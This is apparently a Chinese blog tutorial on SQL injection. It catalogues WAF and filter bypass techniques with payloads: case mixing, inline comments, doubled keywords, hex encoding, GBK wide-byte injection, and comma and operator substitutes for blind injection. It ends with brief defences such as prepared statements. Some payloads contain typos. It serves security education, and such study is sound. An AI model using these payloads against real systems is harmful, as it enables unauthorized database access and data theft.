sql注入(三)绕过方法及防御手段
作者:mmseoamin日期:2023-12-14

一、sql注入的绕过方法

1.注释符过滤绕过

常用的注释符有:

1)-- 注释内容

2)# 注释内容

3)/* 注释内容 */

绕过方法

构造闭合:

?id=1' and sql语句 and '1'='1

这样接收源码前面的引号被 id=1' 中的后引号所闭合,源码中的后引号会被 '1'='1 中的前引号所闭合所以这样不用注释符就逃逸出引号。

2.大小写绕过

常用于 waf 的正则对大小写不敏感的情况。

uniOn selEct 1,2

3.内联注释绕过

当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*!  */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行。

?id=1' union /*!select*/ 1,2

eg:  sql注入(三)绕过方法及防御手段,第1张

4.双写关键字绕过

一些简单的 waf 中,将关键字 select 等只使用 replace () 函数置换为空,这时候可以使用双写关键字绕过。

eg:

union seselectlect 1,2
#会将中间的 select 过滤掉之后将 se 与 lect 合并形成新的select

5.编码绕过

可以绕过引号过滤

1)十六进制绕过

eg:

?id=1' unino select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。

2)ascii 编码绕过

就是使用ascii 编码来替换需要引号引用的内容

eg:

Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

6.空格过滤绕过

可代替空格的方式:

1)/**/

2)()

4)`(tap 键上面的按钮)

5)tap

eg:

union/**/select/**/1,2
select(passwd)from(users) # 注意括号中不能含有 *

7.过滤掉过滤 or and xor (异或) not 绕过

可以用符号进行替代

and = &&、or = ||、xor = |、not = !

8.过滤等号(=)绕过

1)like、rlike

不加通配符的 like 执行的效果和 = 一致,所以可以用来绕过。

rlike 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 = 一样

eg:

select * from users where id like 1;

sql注入(三)绕过方法及防御手段,第2张

 2)regexp

MySQL 中使用 REGEXP 操作符来进行正则表达式匹配

eg:

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp 'users'

9. 过滤大小于号绕过

在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。

1)greatest (n1, n2, n3…): 返回 n 中的最大值

select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116
#这里的 greatest(函数,1)是用与比较取出其中最大的值用于爆破

sql注入(三)绕过方法及防御手段,第3张2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

 3)strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

eg:

select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

4)in 关键字

用于判断列名中是否存在此关键字,常用于布尔盲注

eg:

select * from users where id = 1 and substr(user(),1,1) in ('r')
#表示查询user()中id = 1的行的第一个字符是否为 r

sql注入(三)绕过方法及防御手段,第4张

10. 过滤引号绕过

1)使用编码绕过(16进制/ascii)

eg:

?id=1' unino select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。

2)宽字节注入

常用在 web 应用使用的字符集为 GBK 时,并且过滤了引号(一般为被函数转义的的过滤),就可以试试宽字节。

eg:

%df%27 union select 1,2,3

11.过滤逗号绕过

1)如果 waf 过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用 from  for ,其中 pos 代表从 pos 个开始读取 len 长度的子串

eg:常规写法 select substr ("string",1,3)

若过滤了逗号,可以使用 from  for 来取代 select substr ("string" from 1 for 3)

 eg:

select ascii (substr(user() from 1 for 1)) > 110

sql注入(三)绕过方法及防御手段,第5张

2)也可使用 join 关键字来绕过

适用于联合查询起别名的方式

eg:

select * from users union select * from (select 1)a join (select 2)b join(select 3)c

上式等价于 union select 1,2,3

sql注入(三)绕过方法及防御手段,第6张

sql注入(三)绕过方法及防御手段,第7张

3)使用 like 关键字,适用于 substr () 等提取子串的函数中的逗号(适用于盲注)

select user() like "r%"

上式等价于 select ascii (substr (user (),1,1))=114

sql注入(三)绕过方法及防御手段,第8张

 4)使用 offset 关键字,适用于 limit 中的逗号被过滤的情况

eg:

select * from users limit 1 offset 2

上式等价于 select * from users limit 2,1

不同点在于使用逗号是从行号在前进行截取,使用 offset 关键字是行号在后进行截取。

sql注入(三)绕过方法及防御手段,第9张

12、过滤函数绕过

1)sleep()

可以使用benchmark()函数进行替代

MySQL 有一个内置的benchmark()函数,可以测试某些特定操作的执行速度。

2)substr (),substring (),mid () 可以相互取代, 取子串的函数还有 left (),right ()

3)ord ()–>ascii (): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。

二、sql注入的防御手段 、

1)预编译

预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL 引擎进行解析为 AST 或 Opcode ,第二次交互发送数据,代入AST 或 Opcode 中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql 注入的产生。 也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划 ,也就是说, 后面你输入的参数,无论你输入的是什么,都 不会影响该sql语句的语法结构了 ,因为语法分析已经完成了,而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了, 因为这些sql命令的执行, 必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的, 只会被当做字符串字面值参数 。

2)检查数据类型

检查输入数据的类型在很大程度上可以限制SQL注入。例如对于book_id的查询,我们就可以限制其为数字,不允许插入其他类型的数据类型。或者对用户的输入信息进行严格的过滤,比如日期、年份等格式进行严格限制。均可以防御一些恶意注入。

当然,如果用户必须提交一段字符,那么此时我们就需要使用安全函数,或者一些waf实现对sql注入的防御了

 

3)设置黑名单

目的是对用户输入的命令进行严格过滤,也可以通过正则表达式进行过滤,但有可能会因为过滤的信息不全导致的过滤失败。